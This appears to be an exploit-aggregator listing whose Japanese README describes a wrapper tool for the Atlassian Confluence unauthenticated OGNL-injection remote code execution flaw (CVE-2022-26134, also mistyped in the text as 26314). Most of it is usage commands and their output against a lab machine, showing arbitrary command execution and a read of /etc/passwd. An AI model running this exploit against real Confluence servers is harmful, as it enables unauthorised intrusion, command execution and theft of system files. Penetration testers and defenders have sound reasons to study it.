Sploitus

Exploit for confluence-ognl-rce

kitploit · 2026-08-26

Exploit Code

MARKDOWN60 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CRYPT0LITH-CONFLUENCE-OGNL-RCE
# CVE-2022-26134 - Atlassian Confluence OGNL RCE

このスクリプトは、Confluence Data Center および Server における OGNL インジェクションを利用した認証不要のリモートコード実行エクスプロイトプリミティブのラッパーです(CVE-2022-26314)。

  * ベンダーアドバイザリ



元々はPoC `through_the_wire.py` に触発されたもので、私が追加した「改良点」は以下のとおりです:

  * コマンドをbase64エンコードすることによる実際のRCE
  * `-c @/path/to/file` でスクリプトから読み取り。shebang対応(使用例を参照)
  * `netcat` 依存なし。コマンドおよびファイル読み取り出力にPythonネイティブのソケットを使用
  * 事前の脆弱性チェック
  * Metasploitスタイルの iface -> addr LHOST 解決



## 使用例

Proving Groundsのボックス Flu からのいくつかの例:

root@kitploit:~
    
    
    kali@kali:~/ctf/offsec/pg/flu$ cat test.py               
    #!/usr/bin/env python3
    import sys;print(sys.version)
                                                                                                                                                                                                                      
    kali@kali:~/ctf/offsec/pg/flu$ ./cve-2022-26134.py -c '@test.py' http://192.168.159.41:8090 tun0 2>/dev/null
    3.11.4 (main, Dec  7 2023, 15:43:41) [GCC 12.3.0]
                                                                                                                                                                                                                      
    kali@kali:~/ctf/offsec/pg/flu$ ./cve-2022-26134.py -c 'id;hostname;ip a' http://192.168.159.41:8090 tun0            
    [*] target is vulnerable
    uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
    flu
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
        link/ether 00:50:56:86:cc:58 brd ff:ff:ff:ff:ff:ff
        altname enp3s0
        inet 192.168.159.41/24 brd 192.168.159.255 scope global ens160
           valid_lft forever preferred_lft forever
                                                                                                                                                                                                                      
    kali@kali:~/ctf/offsec/pg/flu$ ./cve-2022-26134.py --readfile '/etc/passwd' http://192.168.159.41:8090 tun0 2>/dev/null | head
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin